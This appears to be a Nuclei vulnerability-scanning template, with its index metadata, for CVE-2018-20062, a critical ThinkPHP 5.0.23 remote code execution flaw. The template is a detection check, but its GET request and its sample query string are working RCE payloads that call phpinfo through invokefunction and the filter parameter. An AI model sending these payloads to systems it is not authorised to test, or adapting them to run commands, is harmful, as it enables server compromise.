CVE-2018-20062: ThinkPHP 5.0.23 - Remote Code Execution
- Template: CVE-2018-20062
- Name: ThinkPHP 5.0.23 - Remote Code Execution
- Description: An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
- Impact: Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.
- Remediation: Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
- Severity: critical
- Authors: dr_set
- Tags: cve, cve2018, kev, thinkphp, rce, vkev, vuln
- References: https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py, https://github.com/yilin1203/CVE-2018-20062, https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
- Cves: CVE-2018-20062
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2018/CVE-2018-20062.yaml
- Digest: 4a0a0047304502202fbf27312227309a8fc469eec684b1c3674bb852a14b6b8cb6bbc6733c91817f022100f5d42720577a99b961b56a7d26c6dd17ff33627bb99ec0b32da7707eb2553d91
- Created at: 2025-05-19T17:05:59Z
- Updated at: 2026-11-19T02:03:50Z
- Age in days: 554
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20062.yaml
Classification
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.9953
- Epss percentile: 0.99946
- Cpe: cpe:2.3:a:5none:nonecms:1.3.0:*:*:*:*:*:*:*
- Checked, none or zero: cwe
Metadata
- Fofa-query: app="ThinkPHP"
- Max-request: 1
- Product: nonecms
- Vendor: 5none
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| 5none:nonecms | yes | /v1/products/5none/nonecms |
Labels
- Name: NoneCms - Remote Code Execution
- Impact: Attackers can execute arbitrary PHP code on the server, potentially leading to full system compromise.
- Remediation: Update to the latest version of NoneCms or apply security patches to fix the vulnerability.
- Vulnerability type: remote_code_execution
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2018-20062
- Not known: requirements
```yaml
id: CVE-2018-20062
info:
name: ThinkPHP 5.0.23 - Remote Code Execution
author: dr_set
severity: critical
description: |
An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
impact: |
Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.
remediation: |
Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
reference:
- https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py
- https://github.com/yilin1203/CVE-2018-20062
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-20062
epss-score: 0.9953
epss-percentile: 0.99946
cpe: cpe:2.3:a:5none:nonecms:1.3.0:*:*:*:*:*:*:*
metadata:
vendor: 5none
product: nonecms
fofa-query: app="ThinkPHP"
verified: true
max-request: 1
tags: cve,cve2018,kev,thinkphp,rce,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
- "ThinkPHP"
condition: and
- type: status
status:
- 200
digest: 4a0a0047304502202fbf27312227309a8fc469eec684b1c3674bb852a14b6b8cb6bbc6733c91817f022100f5d42720577a99b961b56a7d26c6dd17ff33627bb99ec0b32da7707eb2553d91:922c64590222798bb761d5b6d8e72950
```